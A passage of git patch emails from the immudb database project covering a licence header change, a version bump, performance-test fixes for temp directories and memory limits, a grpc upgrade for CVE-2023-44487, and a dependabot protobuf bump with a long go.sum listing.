IS" BASIS, diff --git a/tools/testing/stress_tool_sql.go b/tools/testing/stress_tool_sql.go index a995242349..a51c1ab58a 100644 --- a/tools/testing/stress_tool_sql.go +++ b/tools/testing/stress_tool_sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, From cb1de798106896530d658dec1893065e0805a37d Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 20 Dec 2023 15:50:28 +0100 Subject: [PATCH 0962/1062] version bump --- Makefile | 2 +- helm/Chart.yaml | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index bd494d56bd..243261417f 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM.1 +VERSION=1.9DOM.2-rc1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index f7c9098cb4..d1700e9603 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9DOM.1 -appVersion: "1.9DOM.1" +version: 1.9DOM.2-rc1 +appVersion: "1.9DOM.2-rc1" From 601b1dec01ddae3fac7a39f69d602635c3eb52a9 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 21 Dec 2023 12:31:43 +0100 Subject: [PATCH 0963/1062] fix: performance test regression --- .github/workflows/performance.yml | 2 ++ .../cmd/perf-test/main.go | 3 ++- .../pkg/benchmarks/benchmark.go | 2 +- .../pkg/benchmarks/writetxs/benchmark.go | 21 ++++++++++++------- .../pkg/runner/benchmarks.go | 4 +--- .../pkg/runner/runner.go | 4 ++-- 6 files changed, 21 insertions(+), 15 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 351dfdee00..f3758f6d40 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -59,6 +59,8 @@ jobs: ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\ perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json + env: + GOMEMLIMIT: 76808MiB - name: Upload test results uses: actions/upload-artifact@v3 with: diff --git a/test/performance-test-suite/cmd/perf-test/main.go b/test/performance-test-suite/cmd/perf-test/main.go index 3a5448bdc9..429f74398a 100644 --- a/test/performance-test-suite/cmd/perf-test/main.go +++ b/test/performance-test-suite/cmd/perf-test/main.go @@ -38,6 +38,7 @@ func main() { flInfluxBucket := flag.String("bucket", "immudb-tests-results", "bucket for influxdb") flInfluxRunner := flag.String("runner", "", "github runner for influxdb") flInfluxVersion := flag.String("version", "", "immudb version for influxdb") + flTempDir := flag.String("workdir", "/tmp", "working dir path") flag.Parse() @@ -50,7 +51,7 @@ func main() { *flSeed = binary.BigEndian.Uint64(rndSeed[:]) } - results, err := runner.RunAllBenchmarks(*flDuration, *flSeed) + results, err := runner.RunAllBenchmarks(*flDuration, *flTempDir, *flSeed) if err != nil { log.Fatal(err) } diff --git a/test/performance-test-suite/pkg/benchmarks/benchmark.go b/test/performance-test-suite/pkg/benchmarks/benchmark.go index 61eda4527e..d262b288d9 100644 --- a/test/performance-test-suite/pkg/benchmarks/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/benchmark.go @@ -24,7 +24,7 @@ type Benchmark interface { Name() string // Do a test warmup - Warmup() error + Warmup(workingDirectory string) error // Cleanup after the test Cleanup() error diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index b1c622d099..81e0a28d3b 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -68,6 +68,7 @@ type benchmark struct { primaryServer *server.ImmuServer replicaServer *server.ImmuServer clients []client.ImmuClient + tempDirs []string } type Result struct { @@ -110,13 +111,12 @@ func (b *benchmark) Name() string { return b.cfg.Name } -func (b *benchmark) Warmup() error { - primaryPath, err := os.MkdirTemp("", "tx-test-primary") +func (b *benchmark) Warmup(tempDirBase string) error { + primaryPath, err := os.MkdirTemp(tempDirBase, "tx-test-primary") if err != nil { return err } - - defer os.RemoveAll(primaryPath) + b.tempDirs=append(b.tempDirs,primaryPath) primaryServerOpts := server. DefaultOptions(). @@ -154,12 +154,12 @@ func (b *benchmark) Warmup() error { primaryPort := b.primaryServer.Listener.Addr().(*net.TCPAddr).Port if b.cfg.Replica == "async" || b.cfg.Replica == "sync" { - replicaPath, err := os.MkdirTemp("", fmt.Sprintf("%s-tx-test-replica", b.cfg.Replica)) + replicaPath, err := os.MkdirTemp(tempDirBase, fmt.Sprintf("%s-tx-test-replica", b.cfg.Replica)) if err != nil { return err } - defer os.RemoveAll(replicaPath) + b.tempDirs=append(b.tempDirs,replicaPath) replicaServerOptions := server. DefaultOptions(). @@ -207,7 +207,7 @@ func (b *benchmark) Warmup() error { b.clients = []client.ImmuClient{} for i := 0; i < b.cfg.Workers; i++ { - path, err := os.MkdirTemp("", "immudb_client") + path, err := os.MkdirTemp(tempDirBase, "immudb_client") if err != nil { return err } @@ -219,6 +219,7 @@ func (b *benchmark) Warmup() error { } b.clients = append(b.clients, c) + b.tempDirs = append(b.tempDirs, path) } return nil @@ -234,11 +235,15 @@ func (b *benchmark) Cleanup() error { } b.primaryServer.Stop() + b.primaryServer = nil if b.replicaServer != nil { b.replicaServer.Stop() + b.replicaServer = nil + } + for _,tDir := range(b.tempDirs) { + os.RemoveAll(tDir) } - return nil } diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index e1114fa8c0..57948765ed 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -52,8 +52,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { AsyncWrite: true, Replica: "async", }), - - writetxs.NewBenchmark(writetxs.Config{ + writetxs.NewBenchmark(writetxs.Config{ // this one! Name: "Write KV/s async - one async replica", Workers: 30, BatchSize: 1000, @@ -62,7 +61,6 @@ func getBenchmarksToRun() []benchmarks.Benchmark { AsyncWrite: true, Replica: "async", }), - writetxs.NewBenchmark(writetxs.Config{ Name: "Write TX/s async - one sync replica", Workers: 30, diff --git a/test/performance-test-suite/pkg/runner/runner.go b/test/performance-test-suite/pkg/runner/runner.go index d5454145d9..0ee2bba1b5 100644 --- a/test/performance-test-suite/pkg/runner/runner.go +++ b/test/performance-test-suite/pkg/runner/runner.go @@ -25,7 +25,7 @@ import ( "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" ) -func RunAllBenchmarks(d time.Duration, seed uint64) (*BenchmarkSuiteResult, error) { +func RunAllBenchmarks(d time.Duration, tempDir string, seed uint64) (*BenchmarkSuiteResult, error) { ret := &BenchmarkSuiteResult{ StartTime: time.Now(), ProcessInfo: gatherProcessInfo(), @@ -43,7 +43,7 @@ func RunAllBenchmarks(d time.Duration, seed uint64) (*BenchmarkSuiteResult, erro Timeline: []BenchmarkTimelineEntry{}, } - err := b.Warmup() + err := b.Warmup(tempDir) if err != nil { return nil, err } From ebf17eed59fa632f49d8e0a07b1a99278012b17b Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 21 Dec 2023 14:38:58 +0100 Subject: [PATCH 0964/1062] changed workdir for perf-test --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index f3758f6d40..9986cf13a1 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -56,7 +56,7 @@ jobs: run: | echo "version=$(cat Makefile | grep '\> $GITHUB_ENV SECONDS=0 - ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\ perf-test-results-with-summaries.txt + ./perf-test-suite $ARG_DURATION -workdir /var/tmp -host $INFLUX_HOST -token $INFLUX_TOKEN -runner ${{ matrix.target.name }} -version $(cat Makefile | grep '\ perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json env: From 3391381ccc62c81df60497073054a3c5ed520d25 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 21 Dec 2023 14:52:43 +0100 Subject: [PATCH 0965/1062] force version 1.19+ for performance tests --- .github/workflows/push.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index d7f62a309f..dd6c210edd 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -190,7 +190,7 @@ jobs: uses: ./.github/workflows/performance.yml secrets: inherit with: - go-version: ${{ needs.go-version.outputs.go-version }} + go-version: "1.19" # we need a post 1.19, to limit memory usage notarize-binaries: name: Notarize binaries From 84b159721484b3d0d9e9cd7495c4361bc84d0100 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 21 Dec 2023 15:15:14 +0100 Subject: [PATCH 0966/1062] fix memory limit --- .github/workflows/performance.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 9986cf13a1..52b177f942 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -60,7 +60,7 @@ jobs: echo "duration=$SECONDS" >> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json env: - GOMEMLIMIT: 76808MiB + GOMEMLIMIT: 7680MiB - name: Upload test results uses: actions/upload-artifact@v3 with: From 80230b3f8a9a9819a1fcb514973275640a6990df Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 28 Dec 2023 10:33:23 +0100 Subject: [PATCH 0967/1062] fix: apply fix for CVE-2023-44487 Signed-off-by: Simone Lazzaris --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index 6900a93f5e..491befc743 100644 --- a/go.mod +++ b/go.mod @@ -39,7 +39,7 @@ require ( golang.org/x/sys v0.15.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d - google.golang.org/grpc v1.57.0 + google.golang.org/grpc v1.57.1 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.31.0 ) diff --git a/go.sum b/go.sum index ed8e254b50..026e8b1a8a 100644 --- a/go.sum +++ b/go.sum @@ -827,8 +827,8 @@ google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3Iji google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= -google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= -google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= +google.golang.org/grpc v1.57.1 h1:upNTNqv0ES+2ZOOqACwVtS3Il8M12/+Hz41RCPzAjQg= +google.golang.org/grpc v1.57.1/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= From 4a961ac15b9bce61568395267d31d1b12e16bcfc Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 29 Dec 2023 06:34:22 +0000 Subject: [PATCH 0968/1062] chore(deps): bump google.golang.org/protobuf from 1.31.0 to 1.32.0 Bumps google.golang.org/protobuf from 1.31.0 to 1.32.0. --- updated-dependencies: - dependency-name: google.golang.org/protobuf dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 1668 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 1668 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 491befc743..8b582c5fe5 100644 --- a/go.mod +++ b/go.mod @@ -41,7 +41,7 @@ require ( google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d google.golang.org/grpc v1.57.1 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.31.0 + google.golang.org/protobuf v1.32.0 ) require ( diff --git a/go.sum b/go.sum index 026e8b1a8a..8f19298222 100644 --- a/go.sum +++ b/go.sum @@ -13,26 +13,752 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= +cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= +cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= +cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= +cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= +cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= +cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= +cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= +cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= +cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= +cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= +cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= +cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= +cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= +cloud.google.com/go v0.110.2/go.mod h1:k04UEeEtb6ZBRTv3dZz4CeJC3jKGxyhl0sAiVVquxiw= +cloud.google.com/go v0.110.4/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= +cloud.google.com/go v0.110.6/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= +cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= +cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= +cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= +cloud.google.com/go/accessapproval v1.7.1/go.mod h1:JYczztsHRMK7NTXb6Xw+dwbs/WnOJxbo/2mTI+Kgg68= +cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= +cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= +cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= +cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= +cloud.google.com/go/accesscontextmanager v1.8.0/go.mod h1:uI+AI/r1oyWK99NN8cQ3UK76AMelMzgZCvJfsi2c+ps= +cloud.google.com/go/accesscontextmanager v1.8.1/go.mod h1:JFJHfvuaTC+++1iL1coPiG1eu5D24db2wXCDWDjIrxo= +cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= +cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= +cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= +cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= +cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= +cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= +cloud.google.com/go/aiplatform v1.45.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= +cloud.google.com/go/aiplatform v1.48.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= +cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= +cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= +cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= +cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= +cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= +cloud.google.com/go/analytics v0.21.2/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= +cloud.google.com/go/analytics v0.21.3/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= +cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= +cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= +cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= +cloud.google.com/go/apigateway v1.6.1/go.mod h1:ufAS3wpbRjqfZrzpvLC2oh0MFlpRJm2E/ts25yyqmXA= +cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= +cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= +cloud.google.com/go/apigeeconnect v1.5.0/go.mod h1:KFaCqvBRU6idyhSNyn3vlHXc8VMDJdRmwDF6JyFRqZ8= +cloud.google.com/go/apigeeconnect v1.6.1/go.mod h1:C4awq7x0JpLtrlQCr8AzVIzAaYgngRqWf9S5Uhg+wWs= +cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= +cloud.google.com/go/apigeeregistry v0.5.0/go.mod h1:YR5+s0BVNZfVOUkMa5pAR2xGd0A473vA5M7j247o1wM= +cloud.google.com/go/apigeeregistry v0.6.0/go.mod h1:BFNzW7yQVLZ3yj0TKcwzb8n25CFBri51GVGOEUcgQsc= +cloud.google.com/go/apigeeregistry v0.7.1/go.mod h1:1XgyjZye4Mqtw7T9TsY4NW10U7BojBvG4RMD+vRDrIw= +cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= +cloud.google.com/go/apikeys v0.5.0/go.mod h1:5aQfwY4D+ewMMWScd3hm2en3hCj+BROlyrt3ytS7KLI= +cloud.google.com/go/apikeys v0.6.0/go.mod h1:kbpXu5upyiAlGkKrJgQl8A0rKNNJ7dQ377pdroRSSi8= +cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= +cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= +cloud.google.com/go/appengine v1.6.0/go.mod h1:hg6i0J/BD2cKmDJbaFSYHFyZkgBEfQrDg/X0V5fJn84= +cloud.google.com/go/appengine v1.7.0/go.mod h1:eZqpbHFCqRGa2aCdope7eC0SWLV1j0neb/QnMJVWx6A= +cloud.google.com/go/appengine v1.7.1/go.mod h1:IHLToyb/3fKutRysUlFO0BPt5j7RiQ45nrzEJmKTo6E= +cloud.google.com/go/appengine v1.8.1/go.mod h1:6NJXGLVhZCN9aQ/AEDvmfzKEfoYBlfB80/BHiKVputY= +cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= +cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= +cloud.google.com/go/area120 v0.7.0/go.mod h1:a3+8EUD1SX5RUcCs3MY5YasiO1z6yLiNLRiFrykbynY= +cloud.google.com/go/area120 v0.7.1/go.mod h1:j84i4E1RboTWjKtZVWXPqvK5VHQFJRF2c1Nm69pWm9k= +cloud.google.com/go/area120 v0.8.1/go.mod h1:BVfZpGpB7KFVNxPiQBuHkX6Ed0rS51xIgmGyjrAfzsg= +cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= +cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= +cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= +cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= +cloud.google.com/go/artifactregistry v1.11.1/go.mod h1:lLYghw+Itq9SONbCa1YWBoWs1nOucMH0pwXN1rOBZFI= +cloud.google.com/go/artifactregistry v1.11.2/go.mod h1:nLZns771ZGAwVLzTX/7Al6R9ehma4WUEhZGWV6CeQNQ= +cloud.google.com/go/artifactregistry v1.12.0/go.mod h1:o6P3MIvtzTOnmvGagO9v/rOjjA0HmhJ+/6KAXrmYDCI= +cloud.google.com/go/artifactregistry v1.13.0/go.mod h1:uy/LNfoOIivepGhooAUpL1i30Hgee3Cu0l4VTWHUC08= +cloud.google.com/go/artifactregistry v1.14.1/go.mod h1:nxVdG19jTaSTu7yA7+VbWL346r3rIdkZ142BSQqhn5E= +cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= +cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= +cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= +cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= +cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= +cloud.google.com/go/asset v1.11.1/go.mod h1:fSwLhbRvC9p9CXQHJ3BgFeQNM4c9x10lqlrdEUYXlJo= +cloud.google.com/go/asset v1.12.0/go.mod h1:h9/sFOa4eDIyKmH6QMpm4eUK3pDojWnUhTgJlk762Hg= +cloud.google.com/go/asset v1.13.0/go.mod h1:WQAMyYek/b7NBpYq/K4KJWcRqzoalEsxz/t/dTk4THw= +cloud.google.com/go/asset v1.14.1/go.mod h1:4bEJ3dnHCqWCDbWJ/6Vn7GVI9LerSi7Rfdi03hd+WTQ= +cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= +cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= +cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= +cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= +cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= +cloud.google.com/go/assuredworkloads v1.10.0/go.mod h1:kwdUQuXcedVdsIaKgKTp9t0UJkE5+PAVNhdQm4ZVq2E= +cloud.google.com/go/assuredworkloads v1.11.1/go.mod h1:+F04I52Pgn5nmPG36CWFtxmav6+7Q+c5QyJoL18Lry0= +cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= +cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= +cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= +cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= +cloud.google.com/go/automl v1.12.0/go.mod h1:tWDcHDp86aMIuHmyvjuKeeHEGq76lD7ZqfGLN6B0NuU= +cloud.google.com/go/automl v1.13.1/go.mod h1:1aowgAHWYZU27MybSCFiukPO7xnyawv7pt3zK4bheQE= +cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= +cloud.google.com/go/baremetalsolution 